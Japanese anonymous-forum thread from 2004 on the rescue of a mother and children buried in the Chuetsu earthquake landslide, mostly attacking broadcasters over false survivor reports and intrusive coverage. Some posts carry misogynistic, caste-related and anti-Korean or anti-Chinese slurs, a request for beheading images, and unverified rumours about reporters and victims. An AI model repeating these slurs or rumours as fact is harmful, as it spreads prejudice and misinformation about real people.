>プロのカメラマンなら、すぐ傍でカメラを回したいはずだが　さすがにレスキュー隊が丁重にお断りしているだろう。

プロのカメラマンなら、ボケッ〜と　ただ現場映像を何時間も続けて流すだけで、
ボケッ〜と　ウワサ情報を報道するかな？
恥を知らないのは、現地のマスコミのクソども！　邪魔だから、とっとと東京に帰れ！

あの救出活動の中継を見てて、レスキュー隊員の動きがどうのこうの言ってる奴は、
すでに映画やドラマの見過ぎ。マスコミに毒されてると思ったほうがいいな。

>>613
同意。
見ている方がハラハラするというか、
余震来ても逃げようとしないから･･･。
逆に「逃げてくれよ」と思ってしまう。

もしあそこに俺が居たら、１人逃げてるなｗ

>>622
十分ありえる話なので、しばらくは報道&ワイドショーの時間は
NHKかテレ東にチャンネル合わせようと思ってます・・・。

しかしジャーナリズムってなんだろうね。
我々の考えるジャーナリズムはジャーナリストの考える
ジャーナリズムとは違いすぎてるのかなぁ。

>>631
スコープドックならどうだ？

あの近隣にいたことのある元新潟人だが
カメラのあると思しき対岸も正直言って
かな〜りやばい場所のように記憶してんだよな〜。
まして地震の後ならなおさら・・
二次被害心配ならあそこからも撤退させたほうがいいと・・。
まあ、かなり遠くから撮影してんだろうけど。

とりあえず、ハイパーレスキューってどうってことないなと思った
機器が揃ってるだけで…
県のレスキューとハイパーレスキューでは給与も違うんでしょ

それにしてもレスキューにも劣る自衛隊なんていらねーとおもた

たぶん、誤報のいきさつはこんなかんじじゃない？

Ａ「なんか車から声が聞こえたらしいぞ！」
Ｂ「え！！誰の声ですか？だれが生存してたんですか？」
Ａ「わかんないけど、甲高い声みたいよ」
Ｂ「じゃあ女の人か？」
Ａ「わからんね〜子供かもしれないし３人とも生存かもしれないし」
Ｂ「え？三人とも？？三人ともいきてる？？」
Ａ「い、いや、可能性はあるといってるだけで・・・」
Ｂ「おい！３人ともいきてるってよ！テロップ出せ！！」

Ｃ「！！他局がテロップ出してるぞ！うちも出せ！！」
Ｄ「いや、確認取れてないんで・・・」
Ｃ「バカヤロー！他局に遅れんな！どうせ確認したから出してんだろ！」

以下略

日本で９．１１が起きた場合、ビルが崩壊する確率を１日掛けて調べて
安全だと思ってからしか救助活動はしないってことだな

>>596
あそこに立ってるだけでシンドイぞ。

つかこういった災害の時は卑しい根性抜きにして協定組んで共同チームにしてマスゴミ減らせよ
お前ら人数ばっかりいたってどうしようもないじゃないかよ、書くこた全部一緒だろうが

ジャーナリストも競争だからな。
つーかどうやってすっぱ抜こうか、って事しか
考えてないんだろうな。

阪神のときにヘリの音でどれだけ救助に支障が出たか
僅かな声を聞き逃すまいとしている救助隊の上を飛び回りやがって
あの音は被災者にも相当なストレスだったらしい

っていうかみんな注目しすぎだろ。所詮は他人事なんだよ。
それより他にも苦しんでる人はたくさんいるんだっての。

レポートの仕方に悪意があるんだよ。
物資が足りないのはわかってるのに、あえて煽るように聞く。
それに乗せられてしまった人たちは多くの人の善意や好意がまったくなかったかのようなコメントをしてしまう。
結局行政叩きにしかなってないような現地リポートも多かった。

>>632
カメラマンがうわさ情報を報道するってどういう感じ?
噂って撮影できるものなのか?

報道が現地入りしている局はﾜｲﾄﾞｼｮｰから出すな

>>640
普通そうすると思うが

>>618
それ思った。こんな馬鹿行かせるなよ、とか思った。
すげえうっとうしかった。

>>646
小泉の視察の件も、住民の口を抉じ開ける様にして、批判めいたコメント引きずり出してたしね。

欲求不満中年女の一言。
432 ：名無しさん＠５周年 ：04/10/28 00:00:21 ID:gSzU/lPC
貴子さんの姑の心の闇。
まぁ…（絶句）でも長男の長男である孫が助かったからいいわ〜
女の子はかわいいだけでクズみたいなもんだし、
ヨメもいいやっかい払いよｳﾌﾌﾌ

>>615
ドラえもんの　８０円は　何とかならないか
１００円で８０円　考えてしまう　５００円で　８０円なら
５回かけて４００円よりいいのでは　
実績に慢心することなく　システムの運用のあり方を再考しては

>>633
最近の若いもんは穴も掘ったことがないらしいな、
みんなもっと俺っちを見習え！！
見ろ！！、いっつもこの板で墓穴堀まくりだ！辛いんだよ！いっつもかっつも
掘りつづけるのは！！一休み一休みしながら掘らなすすまねーんだよ、墓穴！！

>>640
現場に直で駆けつけた奴等は飛び込むぞ
消防なめんなよ

５８７、面白いそりゃそーだ。

マスコミは脳内シナリオで記事書くからね。

今回の震災で、マスコミの不備が露呈しまくり。
いいかげん、カスコミも銀行並みのリストラ去れちゃえよ。

ーーーーーーーーーーーーーーーーーーーーーーーーーーーー
108 名前：雪ん子[sage] 投稿日：2004/10/25(月) 21:08:01 ID:nWCEgb7E [ FLA1Adt118.tky.mesh.ad.jp ]
>>105-106
事実です。
現在小千谷入りしている友人から連絡が入り、
その件について聞いたところ
「支援物資の中でもいいものばかりを勝手に横取りしている」
との事。

その友人の父母は某公共放送局から
インタビューを受けていました。
シートや敷いている毛布のうえに土足で上がりこみ、
インタビューをしていたそうです。
状態の悪い人にマイクを向けようとしたりなど
ちょっとこれは…と思うような事をしているようですよ。

被災地の状況や情報を流してくれるのはありがたい事なのですが、
だからといって被災地に迷惑をかけるのはどうかと思います。
被災地の人々の食料や毛布を使用するというのは
図々しいにもほどがあるのでは。

今は救出活動どうなってるの？

確かにマスコミのヘリは規制すべき

誘導尋問ね。
なんか事あれば小泉を叩こうと考えてる岡田と変わんないね。
事実を伝えるだけが商売じゃないのかなぁ。
なんで偏向報道しようと思うんだろう?視聴率主義が身についてるのかな。
それって遺族にすごく失礼だと思うんだけど・・・。

昨日の3時に見つかって昨日の時点で作業できるだろうか？
レスキューの人を見ると他県から来てる人達みたいだし
レスキューの必要な現場はここだけじゃないだろうし。
何万人も避難してる状態だよね。
田舎だし道路も寸断されてる所もあると思う。しかも余震がある。
雨が降ってる。自分の目から見れば、レスキューはがんばってると
思うよ。３人が助かるのが一番よかったのは当然だけどレスキューに
文句をいうのは筋ちがいだと思う。
で二次災害がおこれば計画性がないと責めるんだろうか。
とりあえずレスキューの生中継はやめたほうがいいね。

>>640
911の場合は前例が無かったからな。誰もビルがあんな風に倒壊するなんて
考えても見なかった。結局ジェット燃料による熱が鉄骨を溶かし、それが倒壊に
つながったらしいが。

もし同じ事が又アメリカで起きたら、もっと行動は慎重になるだろう。
日本の場合は、地震対策の為、アメリカのビルみたいに鉄骨だけで組むようには
なっていないから、同じ事をされてもビルは中々崩れないらしいが。

>>589
（朝メシも昼メシも）晩飯もちゃんと食って、温かい部屋で（お風呂にも入って、レポーターの仕事で、
被災されて疲れきってる）現場の人間を叩いてるのが、マスコミ。

どこの局もこぞって余震の瞬間の映像流しまくってるけど、
アレに今のマスコミの連中の姿勢がばっちり映ってる。

どこも被災者そっちのけで大急ぎで逃げ出してやがんの。

「女性の声を確認」して捜査員が車を発見。
真っ暗な車内で、ミルクを飲んでいたという優太ちゃん。

これって、人外の力をヒシヒシと感じるんだが。。。

>>655
消防の自己弁護のスレだったのか

>>651
望みのコメントを取るまで何人でもインタビューするんだろう。

マスコミもさぁ。災害時の現地入用の備蓄ぐらい準備しとけよ。
被災者に配れとは言わん。
せめて、現地入りするスタッフの食料や燃料ぐらいは持ち込め。

今、崩れたら二次災害で多くの人命が失われる。
死んだ子供の遺体を搬出するために、そんなリスクを
取らせることに反対する。

>>665
「産女の霊」ってやつか。

>>580
名前欄にfusianasanと書いた方ですか？
翌日の新聞に逆ギレ記事を書いた方ですか？

もう現場のリポートとかはいらんよ。逆に混乱してしまう。
救出活動の放送も、映像だけを配信してれば良かったと思う。

この大惨事だ、救助隊は限られてる
だから救助には優先順位というのがある
非常に残念だが今になったのはしかたがなかったと思う・・・

テレビ中継、救助の映像を放送するときは解説は不要だ、映像だけで十分、
ヘリは必要なときだけ飛べば良い、ヘリの音が邪魔生死の確認も出来ないときもある。
既出ならスマソ。

>>640
ビルに飛行機突っ込んで上層階が燃えている程度で
誰がビル崩れるって予想できたんだよｗ凄いな。
一度崩れた山の土砂の上で、余震警戒しろって
気象庁から報道されてんのに、二度と地滑り起こらない
って誰が確信できるんだよｗ凄いなっ。

>>596
＞全体が効率的に動いてないのが気になる。

確かにそう見えるけど、我々が画面で見てる以上に相当に足場が悪いんだと
思う。
マスコミは対岸にいて、その辺の地形をつぶさに見てるんだから、本来なら
もっとリアルな状況報告をして欲しい。
画面で見て視聴者が概ね判別がつくようなレベルのことをいちいち繰り返し
て述べる必要はないんだよな。専ら地方局の若手にやらせているせいか、今
ひとつ紋切り型で迫力に欠ける＞現地からの実況中継

>>561
いい事を書いているな。

死体探してるヒマがあったら香田クン救出する方法でも考えろって言いたいね。

災害対策本部が悪いにしても、あれだけマスごみが
自分勝手やると奴らを叩きたくなる、

>>668
フジの言い分では必要なものはあらかじめ用意はしているが、足りないものは現地で調達、だそうな
現地の食糧のうち何百人分はマスゴミのために消費されているようなもんだな

>>670
お墓の中で赤ちゃんを産んだ女が幽霊になって飴玉買いに来る話だっけ。
あれも、母の愛だよな。
今度も、きっとお母さんが助けてくれたんだよな。

(´Д⊂ｸﾞｽﾝ

ＮＨＫの4時間に渡る現場中継も、結局「救出の瞬間スクープ」狙いだけ。
そんな事より、避難所で足りないものとか支援して欲しいものとか、定期的に放送するものがあるだろうっての。

報道ハラスメントですか

ただでさえ、疲れきってる被災者を、さらに余震が追い討ちをかける。

ウロたえる被災者のこわばった表情を、ドアップにしてＴＶ映像で流す神経が、わからん。

イラクにいる自衛隊撤退させて新潟に派遣しろって言いたいね。

今685がイイ事言った！

>>671
マスコミが小泉を叩きたいように、お前はマスコミを叩きたいだけ。
さもしい根性を暴かれて頭に血が上ったか。

>>685
それとこれとは別だと思うが（;´Д｀）

>>638
しかし　レスキューには医師看護師がいないのです
医業は分業で　たて割り　その場での緊急医療行為さえ
違法医業行為すれすれなのです　変でしょう

>>665
我が子を助けようとした母の霊のなせる業。

>>674
あの実況中継は本当に引いたよ…。こいつら報道でなくエンターテイメントだと思ってるんじゃないのかと

ＮＨＫ見ていたが、ずいぶんと母親生存情報流していたな。
母の腕がハンドルのところに出ていて、自衛隊医務官が脈を
確認というような。声で応答していたとも。ＮＨＫでさえこ
うだものね。しかし、仕方ないか、こういった状況では。

青いビニールで現場を隠したときに母親は死んでいると思ったし、
母親の搬出後、救助隊が拡散したとき、女の子は絶望とわかったよな。
生きていれば連続して作業やったはずだもの。状況見ていればある程度
推測できるわな。

>>685
プロ市民の方ですか？
北朝鮮への援助米は新潟へ、中国へのＯＤＡは新潟へですよね？当然。

>>636
止め刺してどーする？

>人外の力をヒシヒシと感じるんだが。。。

日本ではオカルトに走るか迷信扱いされるかの両極端だからねえ
ホントはこういった現象こそ先入観の無い「科学的な」研究がなされるべき

レスキューまんせいの香具師ら関係者？身内？乙
今回の救出作業は色々問題ありだね、とてもありがとうとは言えません！

>>680
調達って、まさか無料配布の列には並んでないよな？
ちゃんと、ジャスコのぼった栗販売で買ってるんだよな？

>>687
そう、漏れ達は今回のバカなマスゴミ、非常識なカスゴミの連中を、

　　思　　　い　　　っ　　　き　　　り　　　叩　　　き　　　た　　　い　　　！

んだよ。文句あっか！？

>>596
こういう感じの仕事やったことあるけど、
訓練や映画みたいに、
パッパッと出来るような代物じゃないよ。
将棋崩しを２秒交代で出来る？
それと同じくらい慎重だよ。
実質に手出しできるのは、周りにいる２〜３人くらいで
あとは見守るor後方支援くらいしかない。

>>664
ニュース10。
余震の映像で、自分たち（ＮＨＫスタッフ）が泊まってる旅館の映像が出ていた。
寝泊りしていると見られる部屋のテーブルには、3〜4本のビール瓶。
オレは見逃さなかったぞ。

>>665
「人外の力」ってなに？　煽りじゃなくて、まじでわからん。

>>684
しかしそれで
ボランティアが増えて
義捐金が増えたら
よしとしようよ。
御説の通り、決してほめられたものではないが。

まあ２ちゃんだからｗ

つーかマスゴミが出張する資金を義捐金に回せばいいと思うのだが。

｢現地の悲惨な状況を報道することで、困っている人を助けることができるはずだ！」とか
本気で思ってるのかﾏｽｺﾞﾐは。
じゃあ目の前にいる被災者にお前が迷惑かけるのはどうなんだよ。
１人にインタビューすれば１万人に募金させることができるかもしれない。
でも、その１人は確実に迷惑で辛いんだよ。お前らの勝手な判断で生贄にするなよ。

ちょっと大きめの石のように見える岩って軽く一�dくらいはあるんだよね。

>>701
霊とか妖精とかでしょ

>>701
あーそれそれ
私、スルーしてたわ

J( 'ｰ`)し　ゆうたへげんきですか。いまお花畑にいます

(´・д・)　 ﾏﾏ、ﾏﾏどこ？

J( 'ｰ`)し　ごめんね。ママもういっしょにいられなくなっちゃったの、ごめんね

(´；д；)　 ﾏﾏ･･･ﾏﾏどこいくの？

J( 'ｰ`:;.:... パパと仲良くね。大きくなってね。ママはいつもゆうたを見守っています。

(´・д⊂ヾ ﾏﾏ･･･

人知を超えた大自然の驚異的なパワー。
これが人類の限界か。

>>696
釣りのつもりだろうけど現場でやれることは全力でやっていると思うのだがな
我々素人考えでどうこうも言えんだろ、あんな状況じゃ。

夕刻ニュースを聴きながら道路地図を見たんだけどさ、
長岡から小出方面に戻る途中だったそうで、幹線道路の17号線
を通らず、ショートカットの県道を走っていて遭った事故なんじゃあないかな。

なんとも気の毒なことだな。

>>693
当たり前。

朝日記者の中学生レベルの作文に萎え〜

ttp://www.asahi.com/national/update/1027/036.html

>>701
幽霊とか妖怪とか｢人ならざる物｣の仕業の事。

確かに｢人外｣がうようよしてるみたいだけどな。
市民団体という名の。
このスレにも組織的に書き込みしてるが。

>>694
パイルバンカー装備させたら意外といけるかもしれないぞ。

>>700
GJ!!!!!!!!!!!

まとめサイトとかない？

ずっと仕事でこのニュースいましった・・・・・

北朝鮮から全員連れて帰らないと政治生命はない、って言ってたひといたよね。
最低でも家族全員とか。そういう世論誘導やめてほしいよね

パイルバンカーはベルセルガじゃなかったか？

とりあえず募金しよう
話はそれからだ

三菱自動車欠陥隠し　社員一丸で信頼回復を

神奈川県警が押収したパソコンを社へ返却した際、捜査員は経営への影響を心配し、
社員に声をかけた。ところが、「しばらくすれば、お客さんは事件のことを忘れて
しまう。平気ですよ」と答えたという。

http://www.mainichi-msn.co.jp/kurashi/car/news/20040722k0000m070144000c.html

>>701
<丶｀∀´>
↑こんな人々の力

昼、たまたま録画してた番組（フジ）が
救助場面のLIVE映像に指し変わってた。

タイトルは「3人生存確認」・・・・・。
これか誤報の瞬間は。

ここでレスキュー叩いてるやつは
彼らが完璧に仕事をこなしても文句言うんだろうな・・・

公式情報ではなく防災無線傍受やや断片的な情報で勝手に流したマスコミ一社の
報道を元に勝手に報道したんじゃないの？

>>713

･････Σ（;ﾟДﾟ）

知り合いが関係してる文化祭だか学園祭を見学しに片道3時間か・・・
招待した方も自分を責めてそうだよね。

>>716
>>720
名前欄、名前欄。

ええい、もーめんどーだ

シャベルカーに足生やせ。

ここでレスキュー叩いてるやつは
朝日・毎日と同じ次元。

>>709
もうっ！！
そんな事書くなよ・・・ｸｽﾝ

>>717
なんか問題あるか？

>>665
車外に立ってたってNHKで言ってたが。
タイヤ側にできた5m位のスキマに。

>>700
自分も見た。ｵﾒﾃﾞﾃｰﾅと思った
同時に、現地組からの書き込みの
「マスゴミが食料や電池を現地で云々」が真実だと分かった。
あったかい部屋で飯食ってビールか。氏ね。

最近、ｼﾞﾐﾝ党のｳﾞｧｶさ加減よりも、ﾐﾝｼｭ党の無能ぶりが目について仕方ない…
これがﾏｽｺﾐ効果か

>>700
被災地から１時間は離れた場所の旅館だろうからいいんじゃない。
ビールも普通に売ってるだろうし。

>>702
横からだが同意。マスコミに取り上げられなくなったら
終わった事件になるからな。仕方のない部分がある。
けど、なんつーか、災害時の報道は、統制されていいんじゃないかと。
芸能人や著名人の事件と明らかに異なるのに
同じことをさせてしまっている。はっきり言っておかしい。

もしもレイバーがあったら

>>700
うｐしてくれたら神なんだが…

>613,676
漏れはレスキュー隊のこと悪く言う気持ちはさらさらないんだ。
でも、映像ってすんごく細かく写って、見てる人に伝わるよね。
しかもリアルタイムだ。
肉親関係の人は、本当に神経尖らせてみてるよ。

この映像を見て肉親の人がどう思ったろうかという部分では、
落ち着かない点もあったのでないかと思ったんだ。

もう一つ、医療班が手薄で、もっと医療行為が積極的に
できる体制じゃないように思えた。

>>682
ちょっとこの国のテレビはひどすぎるな。国が報道基準法みたいなの作るべきなんじゃないの？
>>728
そこはどうにかして立ち直らないとなぁ。人間の運命って気まぐれだし。こういう予期せぬ事故に遭わないなんていう保障もないし。

>>700
そういう細かいところに目くじらを立てる気はないけど、
災害本部の宿泊所にビール瓶があったら大騒ぎするのが
マスコミだな。

レスキュー叩いてるやつとか書いてる関係者乙 (ﾟ∀ﾟ)　ｱｯﾋｬﾋｬﾋｬﾋｬﾋｬﾋｬ!!

>>729

orz

でもさ、余震がﾊﾞﾘﾊﾞﾘきてるところでよく呑んで寝れるよな。
オレなら起きれなくなりそうで怖くて呑めましぇん

>>737
金大中と公明党の層化布教＆在日朝鮮人参政権のバーターなんて、
マスゴミが取り上げないから誰も話題にしないもんな。

http://fuji76.sakura.ne.jp
/cgupbbs/img/9.jpg （静岡新聞）

今も救助活動はしてるの？
それとも一旦中止中？

>>745
怖くて寝れんから飲む

この糞寒くて危険なところで救出作業してんだよ
文句言うな　アホが

>>732
ライフラインが途絶してたから、
きっとやむなく飲料水代わりに飲んだりシャワー代わりにに浴びたりしたんだろうな
それならまあ仕方ないな

>>700
でもビールぐらいいいんじゃないの？だめ？

>>742
禿同。

>>736
俺もそれは問題ないと思う。
別に避難民に渡るものを取ったわけでもないだろうし

嫌な予感がするんだが……
マスゴミが誤報の批判をかわすためにレスキュー隊叩きキャンペーンを
張りそうな気がしてならない。

>>747
まだ続いてるみたいだね　>女の子の捜索

>>747
現在も続行中

>>747
まだやってるみたい。
徹夜するつもりかね？

>>240
やっと救出されたのに
いつ飲み食いしたかを知るためだけに
腹をかっさばくんですか

災害時報道の統制・・ありだろうとは思うよ。
ただ今度は意図的な情報操作とかが凄くやり易くなりそうだな。
二次大戦下の大本営発表みたいなのも漏れは少し嫌だな。

>>755
捜索ってーか救出。
後部座席にいるのはわかってるんだが、助けられない。

>>700
>寝泊りしていると見られる部屋のテーブルには、3〜4本のビール瓶。
>>742
>災害本部の宿泊所にビール瓶があったら大騒ぎするのがマスコミだな。

朝メシ、朝シャン、着慣れぬ防災服に、ヘアーメイクを気にしながらヘルメットのレポーターが、
『もう何日も、お風呂に入ってないんですか？』『食料は充分に、届いてますか？』　だとさ．．．。

もう東京に帰れ！

>>740
リアルで見てたけどちゃんとやってるように見えたけどな。
少しづつしか作業できないんだなと思ったけど。
わしゃわしゃ動けばいいというものでもないんじゃないかな。

それでもマスコミに何かあったときは、レスキュー隊に助けてもらうんだよな。
何かレスキュー隊が可哀想というか･･･叩いているとか関係なく助けなきゃならん仕事っていうのが･･･。

>>759
エンターテイメントとしての災害報道されるよりはマシかと・・・　
現状でも十分すぎるほど湾曲されてるダロw

郵政を民営化するより、レスキューを民営化したほうがいいな
事なかれ主義では一刻を争う人命救助はできないよ

>いるのはわかってるんだが、助けられない。

レスキューにとってこれほどつらいことはないよな・・・

車の周りに穴掘ったり、車を切断したりしようとしてる。
この状況下で結構キワドイ作業っぽいな。

4時間の救出劇のＴＶ生中継は、何の意味があるの？

>>765
禿同だけど
とても高くて貧乏人は(ry

どさくさに紛れて2ch対策班の下道が入り込んでるな。
「言論統制汁！」って発言してるから見え見えなんだがなw

藻舞いこそ地上の楽園に逝け！

>>761
そういう感情が起こるのも当然とは思うが、
報道って奴らは、ボランティアで来ているのでは
なくて、お仕事で来てるんだよ。

>>765
民営化したからといって命を切り売りは出来んと思うぞ
頭のネジが吹き飛んだボランティアに頼るしか・・・
まぁ奴らはそんあ地味でキツイ仕事は好まんだろうが

>>758
透析検査みたいなのじゃ分からないの？
ま、やるとしても今は無理だが。
>>761
なんでまともな質問ができないんだろうね。
「見りゃ分かるだろ」って質問ばっかりだし。

ちょっとそれ一口味見、みたいな感覚で
被災者の食料食べた奴がいるって見たぞ。
どこのチャンネルだったかな？

>>765
金が絡んだほうが、一刻を争うレスキューはできない気がする。
たとえば、身元が確認できない場合とかと立派ぐれる可能性高いし。

>>765
(ﾟДﾟ)ﾊｧ?

ほんとにヒドイ報道だった。
午後早くに車内でラジオ聞いたときには「子供ふたり救出、母親はまだ」と言っていたのに
夕方家に帰ってみたら「母親は死亡、子供はひとり未救出」じゃないの。
3人の安全を祈って必死にテレビをみている親族の気持ちをもてあそぶようないい加減な報道だ。

しかし２歳の雄太ちゃんがせめても無事で本当によかった。
ひとりで50センチ×１メートルの空間に立ってたって、暗くて寒くて怖かっただろうけど
助け出された時「ママ」と言ったのには泣けたけど
子供の生命力って強いな、と思った。

いま外出して帰ってきたとこなんだけど娘の救助どうなったの？
打ち切ったの？

>>767
車が沈んでるのと同じ位置まで穴掘るしか無いんだろうな。
下手に掘ると土砂崩れ誘発するんでないの？

>>765 効率優先になると助かる可能性の大きいとこだけ
　とかなりそ

マスコミ各社が協力すれば、地域ごとの細かい被害状況・必要な物資とか
特に緊急を要する事態の発生とか、それらへの対応状況とかをリアルタイムに
データベース化して役立てることも、可能なはずだと思うんだけどね。
それだけのポテンシャルがあっても、やる人がいないんだろうなぁ。
『それはマスコミの仕事ではない！』って言うだろうけどね。
そういう実際に役に立つことをした場合、今回みたいな誤報がでると
損害が発生するからなぁ。自分達の責任で損害が出る事は絶対しないよな。
マスコミはどこまでいっても虚業なんだな。

子供の救出まだ〜。
今度関東地方の地震はいつ。
日本人の首チョンパ画像まだ〜。
日本の世紀末はいつ。

なんか一生懸命レスキュー叩きやってる奴らがいるな…
じゃ、他に誰があの状況下で救出作業できるんだ?

自衛隊の次はレスキューときたか。
よほどこの国が嫌いらしいな。

「立ってた」ってのが少し怖いんですけど

>>765
命の危険があるっていう時に
「あんた助けるから1000万」とか言われたら
「じゃあほっといてください」とか言うぞ俺はｗ

娘の救出、ここで打ち切ったら殺人行為だよな。

東京消防庁はじめ、各消防やテレビ局には「　なんで途中で救出作業をやめるんだ　」
「　見殺しにするのか　」といった抗議電話が殺到した。これを受けて、当初は作業を
打ち切る予定だったが８時に救出作業再開を決定した。

体に圧し掛かってる岩を退かすと崩落する可能性があるとかで、困ってるらしい。
豊浜のときみたいに１週間放置にならなきゃいいが。

burakusearch東京

>>786
足だけ出てる。胴体は1トンの岩にはさまれてる。生命反応なし。
なので打ち切っても殺人行為にはならんかと。

思いおこせばアニータに取られた14億円で
一千万個のおにぎりが買えた．．

>>784
ミルクも飲んでたんだよね。

>>790
えええーーっ・・・生命反応ないの？
知らなかった・・。

一年後にプロジェクトＸ化します。

こんな時間でも作業続いてるの？

>>785
自分だったら断るね。でも大切な人だったら「それでもいいので助けてください」と答えるね。

>>792
やめろよ。チョット怖いんだよ。

あのニヤケ面会見は気に食わなかったけど。

>>786
対マスコミ用のパフォーマンス
止めるに止められない

どうして岩が崩れる心配があるなら、どかさないの。
ちゃんと岩をどかしてから作業すれば、安心じゃん。

>>775
金は国が出せばいいじゃない。
例えば、沈没船の引き上げを民間にまかせるような感じで
プロの救助隊に国が金を払ってやってもらえばいいと思う。
コストはそっちの方がかかるかもしれないけど、
ダメな救助隊は仕事が来なくなるわけだから、救助を成功させようという
方向へ努力するよね。
公務員組織だと、どうしても努力の方向があさっての方に向いちゃうから…。
（これは社会主義国が資本主義国に勝てない最大の理由）

>>796
カコイイ。

>>796
何気にブラックジャックを思い出した。

>>800

なんでもう死んでるって分かってるのに救出っていうの？
遺体の発掘作業でしょ？

>>754
そう？
俺が見たﾆｭｰｽでは、まずはあんなに地形の崩れた所で、
あれだけしか見えていない車体を、ﾍﾘｺﾌﾟﾀｰからよくぞ発見できた、
って所から始まって、どの「ｹﾞｽﾄ専門家」も、二次災害の恐れもあり
足場も悪い絶望的な状況で非常に難しい作業をこなしている、
って誉めてたぞ。
また再開したのが「させられた」のだとしたら、かわいそうだな、ﾚｽｷｭｰ。

>>800
一つの岩をどかしたら、バランス崩れて連鎖反応で他の岩が崩壊する可能性があるんだろ。
あの現場の映像をチラッと出も見てたらそんなの無理て判るだろ。

マスコミは金集めるの得意だろうから
特番でも組んでスポンサー募って
集まった金で物資の援助でもすればいいのに

レスキュー隊が○職したら何億もの見舞金が税金から捻出されますよ
現場立ち入りは必要最小限にしてください

>>800
はいはい。君は天才だね。

>>787
マジなら国民に説明すんの面倒だから、君ら死んでくれって判断した
ってことだな。二次災害が起こっても現場のレスキュー隊長の首を切れば
済むし、言うこと聞かなきゃ後で閑職に追い込めばいい。
上層部にとっていちレスキュー隊なんて所詮駒なんだろうな。

>>793
なんかレスキュー隊は今回「電磁波で心拍波形を検出する装置」とか「体温赤外線を検知する装置」とか駆使してる。
それで調べていて、「心拍ゼロ・体温は外気温」ってのがもう5時半の段階で判っていたかも。

でも、それを報道してないから、２次災害のおそれがある追加捜索をやってるとしか思えない。

>胴体は1トンの岩にはさまれてる。

もう駄目だな・・・。残念だな。御冥福を祈るよ。

>>721
全国２ちゃんねらーの　底力　引きこもりでもできる
募金で　募金オン会を　起こしましょう
あらゆる板で　中越地震救援募金をしよう　と　一行書き込むのです
もちろん　実際募金をするのです
ネット銀行からの振込みは可能か　かく　加入先のネット銀行に問い合わせて下さい

>>784
呼びかけに応えて立ち上がったんだろう。元気が残ってたんだよ。

講談士、見てきたようにうそを言う。

こういう時こそ、イリュージョニストが来て岩を浮かせて動かす。

>>785
そうなると格安レスキューがでてくると思う。
というかレスキューにも生命保険と組み合わせた価格競争とかでてくるんじゃない？

>>817
その後爆発させたり真っ二つにしたりする恐れが…

>>812
複雑な状況ですね・・・。詳しくありがとう。

既出と思いますが
10/27 16:57時点の産経ＷＥＢのニュースでは
「午後４時の時点で貴子さんは脈拍などのバイタルサインが確認できないという」
ということでした。（記事が差し替えでなければ）

だから、フジでは中継中も3人生存は報じていない訳で。

お母さんのご冥福をお祈りいたします。

>>783
この国が嫌いで将来どうなってもいいと思ってたら
どんな事件が起きても、政府・行政とかが何やっても
万歳だけして、何も発言しないよ！！

なんかあとでレスキューバッシング出そうで怖いな
明日か明後日あたりワイドショーが「なんでもっと早く救出出来なかったのか？」とか言い出しそう

こんな時間にもガンバッテル方がいれば
こんな時間に２Chカキコしてるヤツもい
俺を別として

もっと科学的に超伝導で岩を浮かせて動かす。

>>808
TV局の募金番組で集まった金の半分以上は
｢経費その他｣でなくなるんだよ。
2割も寄付すればいいほうなんだよ。
実際募金で集まった金を口座で何年も寝かせて
利子で打ち上げとかやるボランティア番組もあるし。

>>823
心配するな
批判は小泉に向かう

民間救助部隊料金票表

基本料金
　無傷で生還：5億円
　軽症で生還：1億円
　重症で生還：8千万円
　重体で生還：5千万円
　遺体で回収：1千万円
　一部を回収：500万円
　回収失敗：100万円

救助員の2次被害追加料金
　軽症：100万円
　重症：1000万円
　重体：5000万円
　死亡：2億円

オプション料金
　ヘリ出動：10万円/時間
　夜間料金：20％増し

着手金として50万円を前払いとしてお支払い願います
指定金融機関によるローン決済いも承っております。

・・・てな感じになりそうな悪寒

>>818
防犯向けの警備会社程度ならともかく、大規模な災害時のレスキューに対応できる組織を作って
商売やるなんて、儲からないが目に見えてる。大規模災害だって数年に１度、一部の地域で起きる
だけだし。

あの組織力と装備と即応体制を３６５日・２４時間維持できてるのは、税金使ってる国だからだよ。

>>803
「その言葉が聞きたかった」ってやつ？

多分だけど、これが中国だったら1万人動員して、
人雪崩起こしてると思う。

ハイパーレスキューってエスパーマミみたいだね。

>>825
液体窒素で周りを冷やすのかよ！

>>818
何ていうか、自分の命を金に換算するっていう事はしたくないな。
安ければ安いほど失敗する危険とかも出てくるだろうし･･･。

「あんたは自分の命にそれくらいしか金出せないのか」
とか言われたら、色んな意味で死んでしまいたくなるｗ

2002（平成14）年2月末、支那共産党総書記兼国家主席の江沢民が越南を訪問、
ノン=ドク=マイン越南共産党書記長等指導部と会談した際、1979（昭和54）年の所謂「中越戦争」について、
越南の高校歴史教科書・越南共産党史等での記載を、「友好的な記述」に改めるよう要請。（2002年3月17日付　ハノイ発 共同通信）
何でも、共産党一党支配体制を堅持しつつ市場経済化を進める両国が、
グローバル化が進む世界の中で歴史的経緯から引きずっている「わだかまり」に区切りをつけ、
両国民の意識面でも連携強化を図る支那の狙いがあると見られる・・・との事だが、ちょっと待って欲しい。

日本に対しては「被害者」面して、事ある毎に「歴史を鑑に」と発言し、反省と謝罪を繰り返し要求してきた江沢民が、
「中越戦争」においては「加害者」である自国（支那）の立場を棚に上げて、「被害者」である越南に対して、
歴史教科書の記述について修正要請をするとは開いた口が塞がらない。

と同時に、これが左翼・「反日日本人」が傾倒し賛美してきた「中国」の真実でもある。
そろそろ、いい加減、日本政府も外務省も支那の本質を見極め、支那の不当な物言いに対しては、はっきりと「NO」と言うべきではないだろうか？

http://www004.upp.so-net.ne.jp/teikoku-denmo/no_frame/history/honbun/shazai-shina-i.html

日本のマスコミはこのようなことも一切報じない。

>>834
AF○AC初めとするガン保険なんか、その類だろ。
いい病院でいい治療したかったら、金を出しておけってやつ。・・・・・・そういや更新の季節だよな、AF○AC

この後のワイドショー（朝日10時台：TBS11時台含む）の報道予想。
１．小泉総理の初動が悪い
２．レスキューの救助活動が非効率的
３．自衛隊が悪い
４．男の子だけでも助かってよかった

>>827
朝日かよｗ

確かに、既に死んでるなら、だれかが責任とって
トップダウンで救助活動についてしかるべき指示を
すべきなんだろうな。この場合、誰が最高責任者？

>>827
漏れ、最近小泉さんが気の毒だよ。
前は思いっきりアンチだったけどな。
なんか天災起こりすぎだし、行くなつってんのに
わざわざ危険な国に足を運ぶﾄﾞｷｭｿは大量発生するわで

マスコミが希望的観測で物事語るな

>>789
＞406？

捏造はマスコミの十八番ですけど。
報道するだけでは駄目なのでしょうね。
ニュースを作らないと。

女の子がせめて無事なら報われるけど、望みが限りなく低いと思うとやりきれないな
ただ、いつまでも岩の下は可哀想なので無理せずに出してあげてやってくれ
